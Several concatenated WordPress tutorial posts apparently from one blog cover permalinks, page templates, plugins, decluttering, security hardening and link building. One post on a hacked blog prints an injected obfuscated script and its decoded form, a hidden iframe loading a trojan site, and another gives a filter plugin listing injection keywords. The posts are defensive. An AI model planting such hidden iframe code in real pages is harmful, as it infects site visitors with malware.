Below, I will show you the best permalink structure to use for SEO and how to do it.

What are Permalinks?

Permalinks as WordPress.org defines it:

…are the permanent URLs to your individual weblog posts, as well as categories and other lists of weblog postings. A permalink is what another weblogger will use to link to your article (or section), or how you might send a link to your story in an e-mail message. The URL to each post should be permanent, and never change — hence permalink.

So in, http://www.yourdomain.com/first-blog-post, ‘first-blog-post’ would be a pretty permalink and can be customized within your WordPress dashboard to suit your preferences.

How To Setup Your Permalinks

To setup pretty permalinks for your WordPress blog you need to access Settings in your WordPress dashboard, then select Permalinks. You should see some options like below:

Select the custom structure field and enter, /%postname%/ and click Save Changes. This will create a permalink structure of www.yourdomain.com/postname/ which is the most effective URL structure for your blog.

Also, depending on the needs of your site and if you would like more structure to your URLs and posts, you could use /%category%/%postname%/ which would display the name of the category where your post is filed as well. So it really can be customized however you like. To see a full list of structure tags that can be used, please visit the WordPress Codex Here.

SEO Basics When Using & Choosing Your Permalinks

Generally, I always advice my clients that when choosing their domain names, shorter URLs are better both for the human mind that tries to remember them as well as being simpler for search engines. The same goes for the URLs used when you create new posts for your blog.

For example, if the title of one of your blog posts is “How To Make A Million Dollars By Doing Absolutely Nothing For A Year,” it would best suit you if you customize your post ‘slug’ (as in the URL for your post) to something shorter and simpler. Without any customization, WordPress will automatically assign a post slug to your article as www.yourdomain.com/how-to-make-a-million-dollars-by-doing-absolutely-nothing-for-a-year, this is not the most efficient permalink and basically does not get to the point for the search engines.

A more appropriate post slug would be something like www.yourdomain.com/how-to-make-a-million-dollars which provides less unnecessary information, which will in turn make it easier for you to be found through search engines.

Customizing your ‘slug’

Once you start typing the title of your new post, your article will be automatically assigned a post slug and you will see an option appear below the title field to edit your post permalink. To customize your link simply click edit and change it to whatever you like.

Basically, customizing pretty permalinks allow you to have more keyword rich URLs and gives you the added SEO benefit if other sites use those URLs to link back to your site.

Safely Migrating Your Permalink Structure

If you’ve already started publishing to your WordPress blog and have decided to change your entire permalink structure at a later stage, you will not be able to safely make the change using the regular settings alone since all links to your posts would be broken and return a ’404 page not found’ response to your visitors. You will also lose any pagerank that your posts may have gained since the URLs would no longer be valid.

Thankfully, there is a neat plugin that allows you to successfully make the structure change without any disasters by generating a ’301 permanent redirect’ for your post pages. This simply tells search engines and your visitors’ browsers that the pages have moved to a new URL and they would be seamlessly redirected. All pagerank and links would be transferred.

The plugin can be downloaded here: Permalink Migration – After you’ve installed and activated the plugin, you may then go ahead to change your permalink structure in the regular WordPress dashboard settings.

Conclusion

Using pretty permalinks is absolutely imperative if you want to become the authority within your niche and generate as much search engine traffic as you possibly can.

If you’re thinking of changing your permalink structure or have done so in the past please let us know by leaving a comment. We would love to hear from you and also know how your search engine traffic improved since making that change.

So today, I’ll show you how to create your own custom front page that can serve your visitors as a sales page, introductory page or just about anything you wish.

Step 1 – Create your custom page

To create a custom page, simply duplicate your page.php file which is found in your theme’s main directory and give it a name of your choice. This name must be different from “page.php” This is found in your “wp-admin/wp-content/themes/yourtheme/. Where “yourtheme” is the name of your currently active theme directory.

Step 2 – Add required code to your new file

Add the code below to the top of your new page, replacing “New Page Template” with a name of your choice. This is what WordPress uses to detect the file type (whether its a template or not) and the template name.

<?php /* Template Name: New Page Template */ ?>

Step 3 – Select your new page template

Once you’ve created and saved your new template, within your WordPress dashboard create a new page and select the new page template you created in the template selection drop down menu and click publish as shown below.

Step 4 – Publish and set your new front page

Go to Settings then Reading in your WordPress dashboard and select the static page radio button and select your new page from the drop-down as your front page display as shown below and click save.

Final – Create your content

You may look at your original page.php template file to get an idea as to what you may want to include in your custom page template like the header and footer or possibly the sidebar. Remember, the content you place here is up to you.

See how simple that was? You have now created your custom front page for your WordPress blog. You may go ahead and add any content you like to your new page.

If you experience any difficulties in getting this done please feel free to ask for further assistance. I would love to help.

In this video, Adam Purcell from Hungry Dog Media demonstrates how easy the plugin setup is and does it in under 5 minutes.

Note: The video is best viewed in full screen mode

Additional Features of the plugin include:

Payment Options
Integrates with Google Checkout, Paypal, Payment Express, and many other trusted payment processors.

100% Customizable
Use your own HTML & CSS and have complete control over the look and feel of your online store.

Search Engine Friendly
Awesome tools are integrated to improve your online product search rankings.

Head over to Getshopped.org to learn more about this awesome plugin or you can download it here: WP E-Commerce

Discussion: I’m currently testing all the capabilities of the plugin. So far so good. If you’ve had any experience using the WP-E-Commerce plugin, please leave us a comment to let us know what you think about it.

Failure to monitor your blog can result in the advent of non-standards compliant code that not only gives your blog a cluttered look, but sometimes causes your blog’s pages to load improperly or not at all. With all the modern emphasis on productivity comes an equally important emphasis on simplicity and order on the Web. A successful blog needs to be useful and visually appealing which means that to keep yours on the radar, you’re going to have to clean it up a bit. Here are some steps you can take to keep your blog simple, clean and in tip-top shape.

1. Offload or Reduce Your Blogroll

It’s nice to list some other blogs that you and your readers might be interested in, but does it really have to be on every page? That’s up to you, but you should carefully consider moving it out of the way and planting it on its own page rather than cluttering up your sidebar.

2. Delete the Spam Kill Count

Useless elements like Akismet’s spam counter do nothing to contribute to the mission of your blog, so why bother? Everyone knows about the Akismet plugin for WordPress and that it indeed does kill spam, but what value is the kill count to your blog. Think about taking that off your blog so users can pay attention to you instead.

3. Remove RSS Feeds for Posts

Most people aren’t interested in an RSS feed for a post anyway: if they are, they can bookmark it. Besides, too many feeds complicate your blog, so removing all but the main one should help your blog.

4. Ease Off the Social Bookmark Buttons

Many people find all those submission buttons for each post to be distracting, so why do some blogs have the icons and links plastered everywhere? If you want to get your posts submitted to these services, either the links or the icons should do. Be sure to discard the one you don’t want to keep. And you don’t need to list fifty options: stick to the main players, ie. Twitter, Facebook, Digg, StumbleUpon, Reddit, Delicious.

5. Delete Your WordPress Version Number

By default, WordPress shows the world what version of the software is running your blog. First, that is not interesting to most blog readers. Another thing is that hackers can judge by the version number what vulnerabilities exist on your site, so it’s always best to keep this information off your site.

6. Reduce the Number of Categories

Category lists can get excessively long, and they aren’t the most popular part of a blog anyway. Besides, if it is shorter more people will be likely to browse through it. Make your blog less complicated by keeping your number of categories low.

7. Put Polls in Posts, Not in the Sidebar

It’s great to learn the opinions of your visitors, but how about writing a post and including your poll there? Polls in the sidebar give your blog a cluttered look and can distract visitors from the real you.

8. Move Your Archives

Readers who are interested in learning more from your site will be happy to click on a separate page to navigate your archive. Your blog will look much cleaner too.

9. Counters and Alexa Widgets Have to Go

These gizmos take up real estate on your blog, but don’t contribute anything to a positive user experience: take them off.

10. Have a Utility Area

Consolidate site policies to your “About Me” page so people can learn about your blog all in one place. If you offer services, then create a dedicated services page too. Same goes for your contact form.

Now that you’ve tried these steps, your mind is probably coming up with more ways to clean up your blog. Keep working at it and soon you’ll have a clean blog that meets modern expectations. You and your readers will be pleased with the results.

If you missed my previous security articles, you may view: 5 Extreme Steps to Secure Your WordPress Blog and 10 Simple Steps to Secure & Protect your WordPress Blog.

Since last year, thousands of sites have been hit by SQL attacks where malicious code is injected into the site. This type of attack completely disables the site’s permalink structure thus making blog post URLs inactive.

The Awesome Solution

We all know that prevention is better than cure, so below you will find the code that will be used to secure your site and prevent the injection. If you are tech savvy, you can create a new .php file, copy and save the code below and give it the file name: block_injections.php.

The code:

<?php
/*
Plugin Name: Block Bad Queries
Plugin URI: http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/
Description: Protect WordPress Against Malicious URL Requests
Author URI: http://perishablepress.com/
Author: Perishable Press
Version: 1.0
*/
global $user_ID; if($user_ID) {
if(!current_user_can('level_10')) {
if (strlen($_SERVER['REQUEST_URI']) > 255 ||
strpos($_SERVER['REQUEST_URI'], "eval(") ||
strpos($_SERVER['REQUEST_URI'], "CONCAT") ||
strpos($_SERVER['REQUEST_URI'], "UNION SELECT") ||
strpos($_SERVER['REQUEST_URI'], "base64")) {
@header("HTTP/1.1 414 Request-URI Too Long");
@header("Status: 414 Request-URI Too Long");
@header("Connection: Close");
@exit;
}
}
} ?>

Source: Perishable Press

If you would prefer not to dabble in any code, you may download the plugin here: Block Bad Queries Plugin

Save the file above and upload it to your plugin directory, /wp-content/plugins/, or use the Add New feature in your plugin section in the WordPress dashboard. This plugin will check for excessively long request strings (greater than 255 characters) as well as the presence of base64 code in the request URI which hides the malicious code.

Once the plugin is activated, it will silently and effectively close any connections for this type of injection attack.

Start Protecting Your Blog

This type of injection attack is extremely common in unprotected WordPress installations and the malicious code is often found hidden within free WordPress themes that are downloaded from questionable websites.

Always remember that prevention is better than cure and your site is your valuable investment.

Discussion

Please share your experiences with securing your blog and the problems that you have overcome. Also, if you require further assistance with implementing the code, please don’t hesitate to ask.

Here are 5 additional tips and practices to ensure that your investment of time, energy and money in your blog never goes to waste.

1. WordPress File Monitor Plugin

This plugin monitors your WordPress installation and sends an e-mail alert to a specified address whenever a file is changed, added or deleted. Usually when a site or blog is hacked or compromised in some way, there is always a file that is altered in your directories. Under normal circumstances we would not know about such low-key changes taking places, so the plugin keeps a constant look-out and reports any changes.

The plugin also shows alerts in the WordPress dashboard, just in case you missed the e-mail alert.

This plugin can be downloaded here: WordPress File Monitor

2. Move Your Wp-config.php File

This tip actually came from Sachin, a fellow blogger and web developer, who commented on my previous security post.

You can further secure your WordPress blog by moving your wp-config.php file (which is found in your root directory) to a directory level that is higher than your www (root) folder. This move will prevent your blog from being hacked through your wp-config.php file.

3. WordPress Anti-Virus Protection Plugin

Hopefully, most of us have anti-virus software for our personal computers, so why not have it for your wordpress blog? This plugin is an extremely effective solution for detecting and protecting your blog against exploitations and spam injections and offers the ability to conduct daily automatic scanning and manual testing while providing e-mail notifications.

This awesome anti-virus plugin can be downloaded here: WordPress AntiVirus

4. WordPress Firewall Plugin

This one is pretty neat and recommended for more advanced users. This plugin has a vast amount features that complement your web host server by logging, detecting and intercepting suspicious parameters and requests. It is also useful for mitigating dreadful zero-day attacks (See definition for Zero-day Attacks Here) and setting different security protection levels.

The plugin can be downloaded here: WordPress Firewall Plugin

5. Encrypted Login Password Plugin

This plugin is very useful for users who do not have SSL (Secure Sockets Layer, see definition here) enabled or is not available. The plugin increases the security of the login process by using a combination of public and secret key encryption to encrypt the password on the client side when you log in. Your server will then decrypt the encrypted password with a private key and grant you access. Note: Javascript is required to enable password encryption.

The plugin can be downloaded here: Semisecure Login Reimagined

Use the plugins and tips above to seriously secure and lock-up your wordpress blog to the Max! Remember, its your investment, so do what it takes to protect it.

Discussion:

Please share with us other tips or plugins not listed above that you may have found useful. Also, please share any experiences or difficulties you may have had in the past and what you did to overcome.

Fortunately, I have never been hacked, so I will be showing an example from another person’s experience that I came across yesterday. Below is a screenshot of his wordpress dashboard 2 months after the malicious script was installed.

Hacked WordPress Screenshot

As you can see, everything’s all mixed up. When he tried to visit his blog through his web browser, his anti-virus software popped up with warnings that a trojan horse was found on the site and the site may be dangerous. This is when he realized that something had gone wrong; after the damage was already done.

The Malicious Code

He then decided to check his theme’s html files to find the source of the problem and here he found some code that he did not recognize because the malicious code was encrypted. Example below:

<script language=”javascript”>eval(unescape(“%64%6F%63%75%6D%65

The hackers obviously encrypted a part of the line of code hoping to hide the true nature and purpose of the script. When decoded the code reads as follows:

<script language=”javascript”>eval(unescape(“document.write(‘<iframe src=”http://xxxxxxxx.org/in.php” width=1 height=1 frameborder=0></iframe>’);”))</script>

The script was actually trying to call a malicious website to load on his website through a hidden frame. This website would automatically load a trojan horse virus in the his browser.

How Did The Script Get in the Html for his Blog?

The next question is; how did this malicious code get into his blog in the first place? Answer: A virus on his local windows PC stole his FTP login credentials from his FTP client and then used the FTP client to remotely infect the site, considering that he used his FTP to directly access his blog’s directories. Typically, the php files with execution permission within the directories were infected, especially the plugin and theme files are the first targets.

The Solution

Here are some steps to take to remove an infestation:

1) Ensure that you have a robust anti-virus software on your PC that is updated. Run a complete scan of your entire computer system and ensure that all viruses are removed. I would recommend downloading Malwarebytes’ Anti-Malware Software to compliment your anti-virus software. This works very well.

2) In this scenario, it was only the default wordpress php files that were affected, so a fresh copy of the files were uploaded after removing the malicious ones from the hosting server.

3) Change local FTP passwords and ensure that the new ones are very complex. This is very important to do because normally after a malicious attack there is always an open “backdoor” that remains and the hacker can easily exploit this.

4) To be on the safe side, change your hosting account’s password as well as your site’s database password, whether it is Postgre or MySQL.

PHP & HTML Knowledge

It is very important to know basic html and php because this will give you the benefit of recognizing suspicious activity and malicious code and I can’t stress this enough. A site such as Lynda.com provides amazing video tutorials that will definitely help you to grasp the basics and master programming languages if you’re seriously interested. They have helped me a lot.

Prevention is Better Than Cure

You may view a list of plugins and techniques that will help to prevent malicious attacks on one of my previous posts here: 10 Simple Steps to Secure & Protect your WordPress Blog

Some key points that are not in that post are:

1) Do not save your login credentials in your FTP client.

2) Change all passwords on a monthly basis

3) Be carefull when downloading free plugins. It is best to download them from wordpress.org.

4) Keep your anti-virus software updated

Please note that if your blog gets hacked, the symptoms and the causes may be different from what had happened in the scenario described above..

If your wordpress blog gets hacked, don’t panic. Use the following resources to recover your website:

Additional Resources if you Suspect That You May Be Hacked

1) Use Google Webmaster Tools to detect malicious scripts.

2) Post the details of symptoms to the WordPress Community, if you notice any suspicious activities happening in your blog

3) If you decide to clean it up yourself, there is a good list of steps to take, in an article at WordPress.org Codex.

Please note that if your blog or other type of site gets hacked, the symptoms and the causes may be different from what had happened in the scenario I presented.

I hope you found this post helpful and will take the steps to prevent the exploitation of your site / blog.

Discussion: Have you ever been hacked? Leave a comment and tell us of your experiences. If you would like to have a more in-depth discussion on this topic, feel free to contact me through here.

Here are 10 very simple steps, tools and tips to ensure that your blog can withstand malicious attacks and not be overrun with spam.

1. Use the Login Lockdown Plugin

Hackers can easily crack your password and other login credentials by using Brute Force Attacks (Click here for a definition). This plugin adds an extra security feature to WordPress by restricting the rate at which failed logins can be re-attempted from a given IP range. This plugin can be downloaded from Bad Neighborhood

2. Delete Unused Plugins

Always ensure to delete unused plugins as these can provide loop holes that can be easily exploited.

3. Secure the /wp-admin/ Directory using .htaccess

I found this one on google’s Matt Cutts’ blog. Secure your /wp-admin/ directory by using a .htaccess file to allow access from specific IP addresses only. Create a new .htaccess file, which you can place directly in /wp-admin/.htaccess.

This is what the .htaccess file contains:

AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName “Access Control”
AuthType Basic
order deny,allow
deny from all
# whitelist home IP address
allow from 111.111.111.111
# whitelist work IP address
allow from 111.111.111.111
allow from 111.111.111.111

Replace the 111.111.111.111 with the IPs you would like to whitelist. This file says that the IP address 111.111.111.111 (and the other IP addresses whitelisted) are allowed to access /wp-admin/, but all other IP addresses are denied access. The ‘#’ lines are just notes and can be changed to suit your need.

4. WordPress Security Scanner Plugin

Install this plugin to help detect any loop holes that may exist in your database and blog files. It provides a report on what needs to be done to prevent attacks. This one is very useful and can be downloaded here: WP-Security-Scan

5. Limited Blog Registration Access

If your blog accepts registration, ensure that a user cannot immediately register and receive an administrative access. To change this, go to your Settings option in the wordpress dashboard, select General. Then change the New User Default Role to Contributor. This can easily be changed as the need arise. User privileges can also be assigned using the Role-Manager plugin.

6. Change Your Login Name

The default wordpress username is admin and hackers will always try to infiltrate using this default. So make it harder for them by changing it.

In your WordPress dashboard, go to Users and set up a new user account. Give this new user administrator role. Log out and log in again with the new user account.

Go to Users again. This time, check the box beside admin and press Delete. When it asks for deletion confirmation, select the “Attribute all posts and links to:” and select your new username from the dropdown bar. This will transfer all the posts to your new user account. Press Confirm Deletion

7. Use a Very Strong Password

Ensure that you use a strong password that is difficult for others to guess. Use a combination of digits, special characters and upper/lower case letters to form your password.

8. Always Upgrade to the Latest WordPress Version

The latest version of WordPress always contains bug fixes for any security vulnerabilities, therefore it is very important to keep your blog updated at all times. The latest version at the time of this post is 2.9.2 and can be downloaded here.

9. Install the Akismet Plugin

Once installed, Akismet checks your comments against the Akismet web service to see if they look like spam or not and prevents them from being published. Spam is stored in a separate folder where you can review all that is caught. This can be downloaded from Akismet.com

10. Backup Your WordPress Database

There is a free plugin that can schedule backups of your database to reduce the risk of loss of data. This can be downloaded here: WP-Database-Backup

Yeah, I know its a pretty tedious ToDo list but invest the time to secure a robust wordpress blog. It will cost 100 times more to recover from a malicious attack. Think about down-time, lost revenue, loss of trust from your readers, hiring a professional to get rid of malicious code, loss of information, loss of integrity and the list goes on forever.

Are you doing what it takes to secure and protect your presence online? If not, now is the time to do so. If you have any additional ideas on how to protect a wordpress blog please leave a comment to let us know.

This will require that you access 2 of your template files, however, very little coding is required; just copying and pasting, unless you want to make further customization.

Let’s get started.

Step 1 – Code to call the Author Biography Info

Copy the code below to your single.php (Single Post) file, which is found in WordPress by accessing your Appearance tab then select Editor. Search for the <?php the_content(); ?> line of code, press enter to give some space then copy and paste the code below that line, then save:

<div class="postauthor">
<?php echo get_avatar( get_the_author_id() , 120 ); ?>
<h4>Article by <a href="<?php the_author_url(); ?>">
<?php the_author_firstname(); ?> <?php the_author_lastname(); ?></a></h4>
 <p><?php the_author_firstname(); ?> has written <strong><?php the_author_posts(); ?></strong> awesome article(s) for us. <br/><br/><?php the_author_description(); ?></p>
</div>

Step 2 – CSS Files

Copy the CSS code below to your style.css or custom.css file. This will control the background color, width and text alignment. You may change the color schemes as needed to fit your theme.

/* Author's Bio Box */
.postauthor { background: #F5F5F5; border-top: 1px solid #e1e1e0; border-bottom: 1px solid #e1e1e0; overflow: hidden; padding: 1.5em; }
.postauthor img { border: 5px solid #e2dede; float: left; margin-right: 1.5em; }
.postauthor h4 { color: #666; font-size: 2em; margin-bottom: 5px; }
.postauthor p { color: #515151; font-size: 13px; margin-bottom: 12px; }

Step 3 – Author’s Bio

Add the author’s bio information in the About Yourself section in the WordPress dashboard. Please note that if you wish to add links to the author’s bio, they should be entered using the <a href=”http://www.yourdomain.com”> Your Site’s Name </a> format.

That’s it! I hope this tutorial was simple enough and very helpful.

Questions / Suggestions

Please leave a comment and let me know if this works for you, if its simple enough or if you have an idea for improving the code. There is always room for improvement.

Though link building is a very time consuming and tedious task, it is very important since search engines like Google use link popularity to determine the trustworthiness of a site and its overall ranking and relevancy in search results.

So, thanks to Seobook.com I’ve decided to make a list on my favorite effective link building methods and also black-hat practices to avoid.

Here we go:

1. Create a list of the top 10 myths for a specific category and do some myth busting.

2. Create a list of experts/professionals. If you impress the people listed well enough, or find a way to make your project look somewhat official, the pros may end up linking to your site or saying thanks. (Sometimes flattery is the easiest way to strike up a good relationship with an “authority”.)

3. Make your content easy to understand so many people can understand and spread your message. Its very important to provide proper explanations of industry jargons, not everyone is an expert and you need to relate to all viewers.

4. Syndicate an article at Ezine Articles, Articlesbase, GoArticles, iSnare, etc. The great thing about good article sites is that their article pages actually rank highly and send highly qualified traffic.

5. Trade articles with other webmasters and bloggers

6) Email a few friends when you have important relevant news asking them for their feedback and/or if they would mind referencing it if they find your information useful.

7. Submit your site to DMOZ and other directories that allow free submissions. DMOZ is an excellent free open source directory, one that google regularly crawls to get information on submitted sites. The only issue that I have is that it can take up to 6 months before your submitted site is listed on DMOZ because it is run by volunteers and they receive thousands of submission requests. Also try to submit to paid directories. Quality Matters.

8. Create your own topical directory about your field of interest. Obviously link to your own site, deeplinking to important content where possible. Of course, if you make it into a truly useful resource, it will attract links on its own

9. If you create something that is of great quality make sure you ask a few friends to tag it for you. If your site gets on the front page of Digg or on the Del.icio.us popular list, hundreds more bloggers will see your site, and potentially link to it

10. Develop business relationships with non-competing businesses in the same field. Leverage these relationships online and off, by recommending each other via links and distributing each other’s business cards. Try guest posting on other blogs as well.

11. Depending on your category and offer, you will find Craigslist to be a cheap or free classified service (Free Links)

12. Submit stories to Digg that links to an article on your site. You can also submit other content and have some of its link authority flow back to your profile page

13. Most forums allow members to leave signature links or personal profile links. If you make quality contributions some people will follow these links and potentially read your site and/or link to your site

14. If you buy a product or service you really like and are good at leaving testimonials, many of those turn into links. Two testimonial writing tips — make them believable and be specific where possible

15. Link to other blogs from your blog. Outbound links are one of the cheapest forms of marketing available. Many bloggers also track who is linking to them or where their traffic comes from, so linking to them is an easy way to get noticed by some of them

16. Comment on other blogs. Most of these comments will not provide much direct search engine value, but if your comments are useful, insightful, and relevant they can drive direct traffic. They also help make the other bloggers become aware of you, and they may start reading your blog and/or linking to it

17. Technorati tagged pages rank well in Yahoo! and MSN, and to a lesser extent in Google. Even if your blog is fairly new you can have your posts featured on the Technorati tag pages by tagging your posts with relevant tags

18. Swap some links on a small scale with relevant partners that will send you traffic. Stay away from the link trading hubs and networks. When swapping links, try to get links from within the content of relevant content pages. Do not try to get links from pages that list hundreds of off topic link partners. Only seek link exchanges that you would consider pursuing even if search engines did not exist. Instead of thinking just about your topic when exchanging links, think about demographic audience sets.

19. Become a sponsor. Many charities, contests, and conferences link to their sponsors. This can be a great way to gain visibility, links, and a warm feeling in your heart

20. This is one works but proceed with caution Get sued by a company people hate. This can get you hundreds or thousands of links, including links from sites like Wired and The Wall Street Journal

21. Host a contest. Contests make great link bait. A few-hundred-dollars prize can result in thousands of dollars worth of editorial quality links.

22. Build a tool/free application collection. Original and useful tools (and collections of tools) get a lot of link love. What do you think ranking for mortgage calculator is worth?

23. Engaging, useful, and interesting interviews are an easy way to create original content. And they spread like wildfire. Find successful professionals/guru in your field and request an interview. This also puts an automatic ‘stamp of approval’ on your site as it will seem as though they endorse your content/idea

6 Bad Link Building Techniques to Avoid

1. Submit your site to 200 cheesy paid directories (averaging $15 per submission) that send zero traffic and sell off topic run-of-site links

2. List 100 Web sites in your signature file when posting on a forum

3. Posting on forum threads that are years outdated exclusively to link to your semi-related website

4. Instead of signing blog comments with your real name, sign them with spammy keywords. 99% of the time site owners will be annoyed and delete your comments

5. Get links from nearly-hidden sections of websites listing hundreds or thousands of off topic sites

6. Steal content published by well known names. Strip out any attribution. Aggregate many popular channels and just wait for them to start talking about you

And that’s all for today. Remember, there are many legitimate ways of building links, this list only provides a few of my favorites because of how easy they are to execute for even the newbie blogger/writer.

If there is anything you think I may have left out, feel free to leave a comment with your suggestion or question.